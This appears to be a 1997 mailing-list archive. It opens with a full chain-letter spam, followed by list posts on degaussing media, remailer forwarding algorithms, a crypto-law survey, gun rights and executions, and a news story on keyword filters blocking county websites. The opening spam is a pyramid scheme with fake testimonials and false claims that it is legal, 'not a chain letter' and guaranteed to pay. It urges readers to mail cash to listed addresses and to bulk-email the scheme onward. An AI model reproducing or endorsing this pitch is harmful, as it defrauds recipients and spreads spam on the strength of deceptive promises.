First, please accept my apology if this was sent to you in error! You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....THEN READ AGAIN.... The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story! My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!! In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it. But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT". Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL". Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!! If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! Sincerely, Christopher Erickson P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! "THREW IT AWAY" I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try". Dawn W., Evansville, IN "NO FREE LUNCH" "My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me. Alan B., Philadelphia, PA A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$ Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher. THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing. INSTUCTIONS We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", please read the program very carefully! This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office. This is the GREATEST Multi-level Mail OrderMarketng anywhere: Step (1) ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER. Do this by ordering the REPORT from each of the four (4) names listed. For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC REPORT. International orders should also include $1 extra for postage. It is essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders. Step (2) REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!! Step (3) HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST, save it as Text (.txt) file in its own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4) EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM (ALL OF THIS IS VERY IMPORTANT) TO EVERYONE whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. That's what I did. And they love me now, more then ever. Then, email to anyone and everyone! Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists and services, mailing them for you. These are very inexpensive, 100,000 addresses for around $50.00 up. IMPORTANT: You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports. ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!! REQUIRED REPORTS **** Order each REPORT by NUMBER and NAME **** ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. **** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: THE "Z" COMPANY 1506 Audubon Place Shreveport, La. 71105 **** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT #2 FROM: KZT 1013 Speed Monroe, La. 71201 **** REPORT #3 "SOURCES FOR THE BEST MAILING LISTS" ORDER REPORT #3 FROM: SOUTHERN S. S. 1324 Chopin Bossier City, La. 71112 **** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS" ORDER REPORT #4 FROM: PREMIER CO. 115 Fielder Lane Shreveport, La. 71105 CONCLUSION! I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back. However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply. My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before". Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED". WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. Name your new company. You can use your own name if you desire. 2. Get a post office box (preferred). 3. Edit the names and addresses on the program. You MUST remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF. 4. Obtain as many addresses as possible to send until you receive the information on the mailing list companies in REPORT #3. 5. Decide on the number of programs you intend to send out. The more you send out and the quicker you send them, the more money you will make. 6. After mailing the programs, get ready to fill the orders. 7. Copy the four 4 REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU RECEIVE! 8. Make certain the letter and reports are neat and legible. YOUR GUARANTEE! The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES - ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!! REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING". "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE". GOOD LUCK!

From 3umoelle at informatik.uni-hamburg.de Wed Jul 2 03:42:51 1997 From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=) Date: Wed, 2 Jul 1997 18:42:51 +0800 Subject: Degaussing In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de> Message-ID: <9707021020.AA54194@public.uni-hamburg.de> > Could someone please point me to a FAQ or somesuch about degaussing > magnetic media? Thank you! I guess this is what you are looking for: http://www.cs.auckland.ac.nz/~pgut001/secure_del.html From stutz at dsl.org Wed Jul 2 05:39:46 1997 From: stutz at dsl.org (Michael Stutz) Date: Wed, 2 Jul 1997 20:39:46 +0800 Subject: Liberating the Bits In-Reply-To: Message-ID: On Tue, 1 Jul 1997, Tim May wrote: > Technology liberates the bits. Copyright law is not only useless on the net but inefficient; one need only compare the performance of free, copylefted software versus proprietary, closed software to see which is better. But now it is possible to apply the same principle of copyleft to _all_ non-software information, too -- including text, images and music. I have done this myself with novels and albums of music, and have posted full instructions on how to apply this to non-software information at . m Michael Stutz stutz at dsl.org http://dsl.org/m/ From dlv at bwalk.dm.com Wed Jul 2 05:57:12 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Jul 1997 20:57:12 +0800 Subject: Degaussing In-Reply-To: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com> Message-ID: Lucky Green writes: > media for declassification purposes. They remove the oxide layer. In case > of floppies the preferred method is incineration, in case of hard drives, > the usual technique is sandblasting. 5.25" floppies could be run via a shredder (a big one, not the puny little thing I have at home) but 3.5" floppies would make almost any shredder choke. Some large corporations sell their old floppies to China, where they're supposedly recycled into magentic strips for credit cards. Hmm... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From kent at songbird.com Wed Jul 2 07:56:36 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 2 Jul 1997 22:56:36 +0800 Subject: Jeff's Side of the Story. In-Reply-To: <199707020337.UAA17514@you.got.net> Message-ID: <19970702074006.19127@bywater.songbird.com> On Tue, Jul 01, 1997 at 08:46:53PM -0700, Tim May wrote: > > There's been an ongoing discussion of the Huge Cojones remailer situation > on the related newsgroups. > > This has a lot of relevance to our issues, and this is one of the more > illuminating articles. > > --Tim This probably has been suggested 20 years ago, but wouldn't Jeff's problem have been solved if the following slight modification were made to the algorithm: If you are the last remailer in a chain, then with probability p you pick another randomly choosen remailer to send through. If p is 1 end user mail would never come from you; if p is 0.5 then half the time you send the mail on one more step. The end user, then, can never be sure of which remailer will ultimately deliver the message. If all remailers used this algorithm it has the disadvantage that mail could float for a very long, non-deterministic time in the network -- if p were globally 1/2, for example, then with probality 1/1024, a message would float on for 10 more hops. But it has the advantage that the end user cannot pick which remailer will ultimately deliver the message, thus making it much more difficult to pick on a single remailer. It makes annonymous mailing a less attractive service, since you introduce significant delays, and an increased probability of loss. But maybe making anon remailing less attractive would be a good thing. The non-deterministic retention time in the network could probably be solved, but at the expense of some significant complexity. I have not been able to think of a secure way to do it, however. [If the remailers know and trust each other, the problem is easy.] -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From E.J.Koops at kub.nl Wed Jul 2 08:43:29 1997 From: E.J.Koops at kub.nl (Bert-Jaap Koops) Date: Wed, 2 Jul 1997 23:43:29 +0800 Subject: Crypto Law Survey updated Message-ID: <9A131B1A13@frw3.kub.nl> I have just updated my survey of existing and envisaged cryptography laws and regulations. See the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm This update includes: - update on Australia (Walsh report), Germany (Interior Ministry opinion), Sweden (IT commission report), US (government bill amended, Kerrey-McCain bill, SAFE act amended and passed House committees, czar travel FOIA request) - clarification on Singapore (import, domestic), Japan (government cannot choose) - URLs added to Belgium (law proposals), Canada (export), UK (cyber-rights report) Comments are as always welcomed. Kind regards, Bert-Jaap --------------------------------------------------------------------- Bert-Jaap Koops tel +31 13 466 8101 Center for Law, Administration and facs +31 13 466 8149 Informatization, Tilburg University e-mail E.J.Koops at kub.nl -------------------------------------------------- Postbus 90153 | This world's just mad enough to have been made | 5000 LE Tilburg | by the Being his beings into being prayed. | The Netherlands | (Howard Nemerov) | --------------------------------------------------------------------- http://cwis.kub.nl/~frw/people/koops/bertjaap.htm --------------------------------------------------------------------- From randerso at ece.eng.wayne.edu Wed Jul 2 09:05:00 1997 From: randerso at ece.eng.wayne.edu (Ryan Anderson) Date: Thu, 3 Jul 1997 00:05:00 +0800 Subject: Jeff's Side of the Story. In-Reply-To: <19970702074006.19127@bywater.songbird.com> Message-ID: On Wed, 2 Jul 1997, Kent Crispin wrote: > The non-deterministic retention time in the network could probably be > solved, but at the expense of some significant complexity. I have > not been able to think of a secure way to do it, however. [If the > remailers know and trust each other, the problem is easy.] Remailers using this could be configured to not modify the "date" header until final delivery. Then you can base the probablity of final delivery upon some function of date/time or another header "X-Remailer-Max-Delay-Time:" If you're worried about traffic analysis, it is possible to randomly modify the date/time header by small amounts at each hop. (This however only helps and somewhat loaded systems..) ----------------------------------------------------------------------- Ryan Anderson - "Who knows, even the horse might sing" Wayne State University - CULMA "May you live in interesting times.." randerso at ece.eng.wayne.edu Ohio = VYI of the USA PGP Fingerprint - 7E 8E C6 54 96 AC D9 57 E4 F8 AE 9C 10 7E 78 C9 ----------------------------------------------------------------------- From tcmay at got.net Wed Jul 2 09:11:20 1997 From: tcmay at got.net (Tim May) Date: Thu, 3 Jul 1997 00:11:20 +0800 Subject: Jeff's Side of the Story. In-Reply-To: <199707020337.UAA17514@you.got.net> Message-ID: At 7:40 AM -0700 7/2/97, Kent Crispin wrote: >This probably has been suggested 20 years ago, but wouldn't Jeff's >problem have been solved if the following slight modification were >made to the algorithm: If you are the last remailer in a chain, then >with probability p you pick another randomly choosen remailer to send >through. If p is 1 end user mail would never come from you; if p is >0.5 then half the time you send the mail on one more step. The end >user, then, can never be sure of which remailer will ultimately >deliver the message. ... This general sort of thing has been discussed...though not 20 years ago! :-0 I don't know about this particular mathematical algorithm, but things generally like it. Long before a remailer shuts down, he should certainly adopt a strategy like this. Sending "his" traffic through randomly selected other remailers is certainly an option. (Any remailer can at any point insert additional hops, or even chains of hops, merely be addressing them correctly. Of course, the "original" (which may not be the real original, of course, as other remailers may have done the same thing) needs to "get back on track," else the decryptions won't work. But this is all a simple problem. I don't know what gets discussed on the "remailer operators list," not being on it, but it sure seems to me that remailers have stagnated, and that some of the robust methods of reducing attacks on any particular remailer are not being used. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From kent at songbird.com Wed Jul 2 10:16:12 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 3 Jul 1997 01:16:12 +0800 Subject: Jeff's Side of the Story. In-Reply-To: <19970702074006.19127@bywater.songbird.com> Message-ID: <19970702100000.40925@bywater.songbird.com> On Wed, Jul 02, 1997 at 11:53:56AM -0400, Ryan Anderson wrote: > On Wed, 2 Jul 1997, Kent Crispin wrote: > > > The non-deterministic retention time in the network could probably be > > solved, but at the expense of some significant complexity. I have > > not been able to think of a secure way to do it, however. [If the > > remailers know and trust each other, the problem is easy.] > > Remailers using this could be configured to not modify the "date" header > until final delivery. Then you can base the probablity of final delivery > upon some function of date/time or another header > "X-Remailer-Max-Delay-Time:" If you're worried about traffic analysis, > it is possible to randomly modify the date/time header by small amounts > at each hop. (This however only helps and somewhat loaded systems..) The Evil One can always masquerade as the next to the last remailer, with suitably altered date fields or whatever. I wasn't thinking in terms of traffic analysis -- I was thinking in terms of guaranteeing that the last remailer in the chain, the one that actually delivers the message, cannot be predicted in advance. The current remailer algorithm allows an evil user to cause a particular remailer to be the source of Bad Stuff, which makes that remailer a target of those who don't like the Bad Stuff. The basic problem is that the end user is able to specify the remailer chain. [Digital postage can't do much to solve this problem, BTW. The offensiveness of a message is not measured by the postage.] On the face of it, this seems like a relatively simple problem. The current algorithm allows the end user to specify the final remailer -- change it so that the final remailer is not under the end user's control. The problem is, how does the final remailer know whether it was chosen by the end user, or by another remailer who *used* to be the final. Incidentally, another useful modification of having the final remailer forward one more time is this: if( destination address is in my legal jurisdiction )then with higher probability forward to another randomly chosen remailer else with lower probability forward to another remailer endif -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From alano at teleport.com Wed Jul 2 10:17:09 1997 From: alano at teleport.com (Alan) Date: Thu, 3 Jul 1997 01:17:09 +0800 Subject: Degaussing In-Reply-To: Message-ID: On Tue, 1 Jul 1997, Bill Frantz wrote: > > At 10:02 PM -0700 7/1/97, Alan Olsen wrote: > >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote: > >> > >>Could someone please point me to a FAQ or somesuch about degaussing > >>magnetic media? Thank you! > > > >Electromagnetic pulse. You want something as strong as possible. About 10 > >megatons should generate a big enough pulse. > > It works better if you also expose it to the heat and blast. :-) > > In all seriousness, complete physical destruction of the media is the only > sure technique. Lucky Green's sandblasting sounds like it should work > well. Melting it into slag should also work. That reminds me... I have some old drives I need to take down to the shooting range. (I want to make them an example to the other drives...) Sounds like a Cypherpunk project to me. ]:> alano at teleport.com | "Those who are without history are doomed to retype it." From paul at fatmans.demon.co.uk Wed Jul 2 10:22:19 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 3 Jul 1997 01:22:19 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: > - Hanging--very quick and very painless (the neck is snapped, and > consciousness vanishes) Actually it was only relatively recently that this became the case, I believe it was either William Calcraft or one of the Pierrepont family who perfected the drop calculation method of hanging (both families were British executioners, Calcraft at Newgate prison and the Pierreponts at various places over a long period of time), before that it was quite common for the condemned to either choke to death if the drop was too short, or to be beheaded if it was too long. Newgate prison is incidentally the same place where as late as 1789 people were burnt to death for witchcraft, sophisticated England huh? ;-)... > - Electrocution--originally designed to render subject unconscious almost > immediately. Whether it does this merits discussion, but the original > intent was surely for a "scientific" fast death (just as the guillotine was > similarly designed) I don`t know the exact figure but I seem to remember a US execution using the electric chair which took over 40 minutes to complete? I believe a typical time from current on to unconsciousness is around 2 minutes? > >I can see the point of view which accepts serving of sentence as being > >the end of punishment, and I do not accept a ban on firearms as being > >implicit in the commision of a felony, but if a court explicitly states > >that part of the punishment should be a X year or lifetime ban I can > >accept that. > > Does this mean that you would "accept" a wording which took away a released > convict's ability to speak freely, or to practice the religion of his > choice? No, speech or practice of religion are not of the same ilk as the right to own firearms, I am definitely on thin ice here, and I admit I am not entirely certain of my own perspective, BUT I cannot see how someone convicted of armed robbery should be allowed the right to own firearms again. A person convicted of a violent armed crime is just not in the same league as an innocent citizen, and should not have the same rights. > ("Upon completion of your 6-month sentence for public blasphemy, you > must renounce Baalism and accept the religion so ordered by the court.") > > Why is this any different from taking away Second Amendment rights? See the above, I refer you to the danger of a person who has already proven their disregard for the rights of others being allowed to own weapons. > But how does a lifetime, blanket ban on possession of firearms--i.e., a > complete denial of Second Amendment rights--for any of tens of thousands > of claimed "felonies" fit with this "compelling need" model? What's the > compelling need for the state to deny Second Amendment rights for life > to someone convicted of fraud or money laundering? Tim, you are either taking me out of context or overgeneralising my statement, as I know you are not of the second persuation I will assume the first and re-iterate that I do not believe in the restriction of second ammendment rights for people convicted of felonies in general, only for those convicted of serious violent crimes. And I do not believe in a lifetime blanket ban, ie. "All convicted armed robbers shall never be allowed to posess firearms again", I believe a court should be able to use its own discretion to decide a fitting punishment, ie. "You shall be sentenced to 5 years imprisonment and a 10 year ban on ownership of firearms". > The compelling need appears to be related to the general trend of > disarming as many of the marks as possible, as soon as possible. > (I understand, Paul, that you are not a U.S. citizen, but this is the > framework for the current discussion.) This is an evident trend in most of the world, with the UK following the path of the US. For many years it has been the case that on the commision of any crime, even for example drink-driving, or common assult (a UK offence classification for the most trivial of assult cases, ie. hitting someone), the right to own guns is immediately removed and never returned, even when the offence is spent under the rehabilitation act. I recall my own father having trouble obtaining a firearms licence some years ago because of a drink-drive conviction some 20 years earlier... I will state once more though, and attempt not to post again on this thread as I don`t want a flame war, that I do not support or condone general loss of 2nd ammendment rights for any and all felonies in general, only for serious violent crimes and then at the discretion of a court and not as some pre-set standard penalty. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From 07594284 at juno.com Wed Jul 2 10:23:49 1997 From: 07594284 at juno.com (07594284 at juno.com) Date: Thu, 3 Jul 1997 01:23:49 +0800 Subject: special notice Message-ID: <199703170025.GAA079@imsday.com>

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From sunder at brainlink.com  Wed Jul  2 10:54:27 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 3 Jul 1997 01:54:27 +0800
Subject: New Jersey's 'sexy' counties (fwd)
Message-ID: 




Subject: New Jersey's 'sexy' counties

Internet censors blocking Jersey's 'sexy' counties 
By Jeff May
Newark Star-Ledger
July 1, 1997 

With its tractor pulls, pig and poultry exhibitions, and demolition
derbies, the Sussex County Fair is almost a parody of wholesome fun. 

But to some programs that parents use to block pornographic material
on the Internet, the Web site for "New Jersey's Best Fair" might as well
be a pit of sin. 

The problem: Sussex contains the word "sex." To a computer
searching for smut, that's all that's needed to raise a red flag. 

Most filtering programs rely on key words, and sex is at the top of the
forbidden list. Children who try to log on to the Sussex fair site might
as well be trying to dial up Playboy online. 

Essex and Middlesex counties have the same problem. The free
program that America Online provides for its subscribers, for example,
blocks online access to both Essex County College and the Essex
County Clerk's Office. 

"We're as G-rated as a Disney movie," protested Patrick McNally, the
county clerk. 

Passport information and property tax tips hardly make for racy
subject matter, and McNally said he was "somewhat amused" that it
would be considered as such. Web surfers apparently agree: Since the
site was created earlier this year, only 2,958 people have visited it. 

"Probably 2,900 are me," McNally said. 

But McNally said he understood the impulse to use parental control
programs, which are expected to become more popular in the wake of
the Supreme Court's decision to strike down government control of
indecent material on the Internet. 

"As a father, I certainly don't want my children to stumble across
something they shouldn't on the Net," he said. "I could see where it
would be a problem." 

Most problems with the screening devices occur when parents rely on
the broadest keywords possible, said Gordon Ross, president and
CEO of Net Nanny, one of several programs on the market to screen
out objectionable content. They usually disappear as users become
more knowledgeable about the system. 

"Unfortunately, some people don't read the manuals," he said. 

Parents may not need to by 2000. Advances in artificial intelligence are
expected to make the cybercensors a lot more discriminating, Ross said.

"A lot of the decisions will be made by the computer itself," he said. 

Some companies say they've already reached that point. A spokesman
for Surfwatch, Jay Friedland, says the popular program uses "pattern
matching" to weed out references to sex but not acceptable ones such
as the poet Anne Sexton. 

"The key focus for us is real simplicity," Friedland said. "Even if we
were overblocking accidentally, it is very easy to turn off." 

